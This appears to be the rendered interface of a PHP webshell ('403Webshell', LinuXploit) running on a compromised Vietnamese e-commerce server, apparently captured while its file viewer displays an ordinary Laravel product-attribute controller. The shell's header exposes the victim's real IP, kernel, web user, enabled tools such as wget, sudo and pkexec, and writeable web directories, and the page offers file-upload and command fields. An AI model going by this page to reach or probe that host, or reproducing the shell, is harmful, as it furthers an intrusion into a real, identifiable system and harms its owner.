403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.59
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/charming.vn/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/charming.vn/app/Http/Controllers/AttrController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\Product;
use App\Models\Gallery;
use App\Models\Attr;
use DB;
use File;
use App\Models\Url;
use Session;
use Illuminate\Support\Facades\Redirect; 

class AttrController extends Controller
{
    public function add_attr($product_id){

    $pro_id=$product_id;  
    $product=Product::where('product_id',$product_id)->orderby('product_id','DESC')->get();  
    $all_attr=Attr::where('product_id',$product_id)->with('product')->get();
    return view ('admin.attr.add_attr')->with(compact('pro_id','all_attr','product'));

   } 

   public function save_attr(Request $Request,$pro_id){

        $data=$Request->all();
        
       
        $attr=new Attr();
        $attr->product_id=$pro_id;
        $attr->product_sku=$data['product_sku']; 
        $attr->product_size=$data['product_size'];
        $attr->product_name_attr=$data['product_name_attr'];
        // $attr->product_age=$data['product_age'];
        $attr->product_color=$data['product_color'];
        // $attr->product_alco=$data['product_alco'];
        $attr->product_price=$data['product_price'];
        $attr->product_quantity=$data['product_quantity'];
        
        $get_image=$Request->file('product_image');
        $path='public/uploads/product/';
        $path_gallery='public/uploads/gallery/';
        if ($get_image){
        $get_name_image = $get_image->getClientOriginalName(); //lay ten của hình ảnh
        $name_image = current(explode('.',$get_name_image));
        $new_image =  $name_image.rand(0,99).'.'.$get_image->getClientOriginalExtension();
        
        $get_image->move('public/uploads/product',$new_image);
        file::copy($path.$new_image,$path_gallery.$new_image);

         $attr->product_image =$new_image;

        $attr->save(); 
        $data = Attr::latest()->first();
        $pro1_id=$data->product_id;


             $gallery=new Gallery();
             $gallery->gallery_image=$new_image;
             $gallery->gallery_name=$new_image;
             $gallery->product_id=$pro1_id;
             $gallery->timestamps=false;
             $gallery->save();

        Session::put('message', 'Thêm danh mục sản phẩm thành công');
        return Redirect('/add-attr/'.$pro_id);
       
     }

        
     }


     public function selete_size_product(Request $request)

    {
      $data=$request->all();

    $all_attr=Attr::where('attr_id',$data['attr_id'])->get();
    $output='';
    $output1='';
    foreach ($all_attr as $key => $attr ){

    $output.='<input type="hidden"  value="'.$attr->product_price.'" class="cart_product_price_'.$attr->product_id.'">';
    $output.='<input type="hidden"  value="'.$attr->product_sku.'" class="cart_product_sku_'.$attr->product_id.'">';  
    $output.='<input type="hidden"  value="'.$attr->product_image.'" class="cart_product_image_'.$attr->product_id.'">';

    $output1.= ' <img id="img_zoom" data-zoom-image="http://localhost:8080/shopruou/public/uploads/product/'.$attr->product_image.'" src="http://localhost:8080/shopruou/public/uploads/product/'.$attr->product_image.'" alt="">';
    
       // echo number_format($attr->product_price).' '.'VNĐ',  $attr->product_quantity ;
      // 
      $returnattr = [number_format($attr->product_price).' '.'VNĐ' ,$attr->product_sku, $attr->product_quantity,$output,$output1];
      echo json_encode($returnattr);
     // echo $output;

        }
    }

    // public function delete_attr($attr_id) {
    //     Attr::where('attr_id',$attr_id)->delete();

    // // DB::table('tbl_product_attr')->where('attr_id',$attr_id)->delete();
    //     Session::put('message', 'xóa thành thành công');
    //     return Redirect::to('/add-attr/{}');
    //  } 
    //  
    public function delete_attr(Request $request){

      $attr_id=$request->attr_id;
      $attr=Attr::find($attr_id); 
        unlink('public/uploads/product/'.$attr->product_image);  
      $attr->delete();
   }

    public function update_attr_name (Request $request){


   $attr_id =$request->attr_id;
   $attr_text=$request->attr_text;
   $attr = Attr::find($attr_id);
   $attr->product_size = $attr_text;
   $attr->timestamps= false;
   $attr->save();
      
   //  }
   
    }
  

      public function edit_attr($attr_id){
      
     $edit_attr= Attr::where('attr_id',$attr_id)->get();             

    return view('admin.attr.edit_attr')->with(compact('edit_attr'));


    } 


    public function update_attr(Request $Request, $attr_id){
        $data=$Request->all();


        $attr=Attr::find($attr_id);
        $attr->product_sku=$data['product_sku']; 
        $attr->product_size=$data['product_size'];
        $attr->product_name_attr=$data['product_name_attr'];
        // $attr->product_age=$data['product_age'];
        $attr->product_color=$data['product_color'];
        // $attr->product_alco=$data['product_alco'];
        $attr->product_price=$data['product_price'];
        $attr->product_quantity=$data['product_quantity'];
        
        $get_image=$Request->file('product_image');
        $path='public/uploads/product/';
        $path_gallery='public/uploads/gallery/';
        if ($get_image){
        $get_name_image = $get_image->getClientOriginalName(); //lay ten của hình ảnh
        $name_image = current(explode('.',$get_name_image));
        $new_image =  $name_image.rand(0,99).'.'.$get_image->getClientOriginalExtension();
        
        $get_image->move('public/uploads/product',$new_image);
        file::copy($path.$new_image,$path_gallery.$new_image);

        $attr->product_image =$new_image;
        $attr->save(); 
         $data = Attr::latest()->first();
        $pro1_id=$data->product_id;


             $gallery=Gallery::where('product_id',$pro1_id)->first();

             $gallery->gallery_image=$new_image;
             $gallery->gallery_name=$new_image;
             // $gallery->product_id=$pro1_id;
             $gallery->timestamps=false;
             $gallery->save();
        Session::put('message', 'cập nhật phẩm thành công');
        return Redirect('/add-attr/'.$pro1_id);
        }

        else{


        $image=Attr::where('attr_id',$attr_id)->get();

          foreach ($image as $key =>$image1){

        $attr->product_image =$image1->product_image;
        $pro_id = $image1->product_id;

                }

        
        $attr->save(); 
        Session::put('message', 'cập nhật phẩm thành công');
       return Redirect('/add-attr/'.$pro_id);
        }
        
        } 
      
     



}

Youez - 2016 - github.com/yon3zu
LinuXploit